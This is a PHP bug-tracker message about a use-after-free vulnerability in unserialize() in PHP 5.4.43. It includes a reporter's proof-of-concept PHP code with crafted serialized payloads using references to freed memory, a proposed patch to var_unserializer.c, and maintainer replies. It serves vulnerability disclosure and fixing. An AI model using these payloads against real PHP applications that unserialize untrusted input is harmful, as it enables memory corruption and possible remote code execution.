Bug #70172 [Opn]: Use After Free Vulnerability in unserialize()

From: Date: Sun, 02 Aug 2015 06:31:01 +0000
Subject: Bug #70172 [Opn]: Use After Free Vulnerability in unserialize()
References: 1  Groups: php.bugs 
Request: Send a blank email to php-bugs+get-194890@lists.php.net to get a copy of this message
Edit report at https://bugs.php.net/bug.php?id=70172&edit=1 ID: 70172 Updated by: stas@php.net Reported by: taoguangchen at icloud dot com Summary: Use After Free Vulnerability in unserialize() Status: Open Type: Bug Package: *General Issues Operating System: * PHP Version: 5.4.43 Block user comment: N Private report: Y New Comment: The patch should be against var_unserializer.re, var_unserializer.c is a generated file. Also, I'm not sure pushing every single value is a good thing, this would slow down unserialization a lot. Previous Comments: ------------------------------------------------------------------------ [2015-08-02 04:15:58] taoguangchen at icloud dot com Some web programs use Serializable and unserialize(), and attacker can free ZVAL easily via DateInterval, like this: ``` class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { $this->data = unserialize($data); } } $inner = 'O:12:"DateInterval":1:{s:1:"y";R:2;}'; $exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:3;}'; $data = unserialize($exploit); for($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data); ``` ------------------------------------------------------------------------ [2015-08-02 03:50:40] stas@php.net This looks like it requires specially crafted code. As such, it's not a security issue. ------------------------------------------------------------------------ [2015-07-31 12:59:20] taoguangchen at icloud dot com the patch for 5.4 series ( maybe work on 5.5 and 5.6 series ), and this patch also fixes BUG#70166, BUG#70168 and BUG#70169. diff --git a/php-5.4.43/var_unserializer.c b/php-5.4.43-fixed/var_unserializer.c index 8c4e629..99b61cb 100644 --- a/php-5.4.43/var_unserializer.c +++ b/php-5.4.43-fixed/var_unserializer.c @@ -363,8 +363,10 @@ static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, long static inline int finish_nested_data(UNSERIALIZE_PARAMETER) { - if (*((*p)++) == '}') + if (*((*p)++) == '}') { + var_push_dtor(var_hash, rval); return 1; + } #if SOMETHING_NEW_MIGHT_LEAD_TO_CRASH_ENABLE_IF_YOU_ARE_BRAVE zval_ptr_dtor(rval); @@ -880,6 +882,7 @@ yy41: INIT_PZVAL(*rval); ZVAL_STRINGL(*rval, str, len, 0); + var_push_dtor(var_hash, rval); return 1; } yy46: @@ -927,6 +930,7 @@ yy48: INIT_PZVAL(*rval); ZVAL_STRINGL(*rval, str, len, 1); + var_push_dtor(var_hash, rval); return 1; } yy53: @@ -1023,6 +1027,7 @@ use_double: *p = YYCURSOR; INIT_PZVAL(*rval); ZVAL_DOUBLE(*rval, zend_strtod((const char *)start + 2, NULL)); + var_push_dtor(var_hash, rval); return 1; } yy65: @@ -1094,6 +1099,8 @@ yy73: } else if (!strncmp(start + 2, "-INF", 4)) { ZVAL_DOUBLE(*rval, -php_get_inf()); } + + var_push_dtor(var_hash, rval); return 1; } @@ -1147,6 +1154,7 @@ yy79: *p = YYCURSOR; INIT_PZVAL(*rval); ZVAL_LONG(*rval, parse_iv(start + 2)); + var_push_dtor(var_hash, rval); return 1; } yy83: @@ -1160,6 +1168,7 @@ yy83: *p = YYCURSOR; INIT_PZVAL(*rval); ZVAL_BOOL(*rval, parse_iv(start + 2)); + var_push_dtor(var_hash, rval); return 1; } yy87: @@ -1168,6 +1177,7 @@ yy87: *p = YYCURSOR; INIT_PZVAL(*rval); ZVAL_NULL(*rval); + var_push_dtor(var_hash, rval); return 1; } yy89: ------------------------------------------------------------------------ [2015-07-31 01:38:35] taoguangchen at icloud dot com Description: ------------ I has reported some similar bugs in BUG#70166, BUG#70168 and BUG#70169 ``` if (ce->unserialize == NULL) { zend_error(E_WARNING, "Class %s has no unserializer", ZSTR_VAL(ce->name)); object_init_ex(rval, ce); } else if (ce->unserialize(rval, ce, (const unsigned char*)*p, datalen, (zend_unserialize_data *)var_hash) != SUCCESS) { return 0; } (*p) += datalen; return finish_nested_data(UNSERIALIZE_PASSTHRU); } A specially defined Serializable lead to various problems. PoC: ``` class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { $this->data = unserialize($data); $this->data = 1; } } $inner = 'a:0:{}'; $exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:3;}'; $data = unserialize($exploit); for($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data); ``` We can create ZVAL and free it via Serializable::unserialize. However the unserialize() will still allow to use R: or r: to set references to that already freed memory. it is possible to use-after-free attack and execute arbitrary code remotely. ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=70172&edit=1

« previous php.bugs (#194890) next »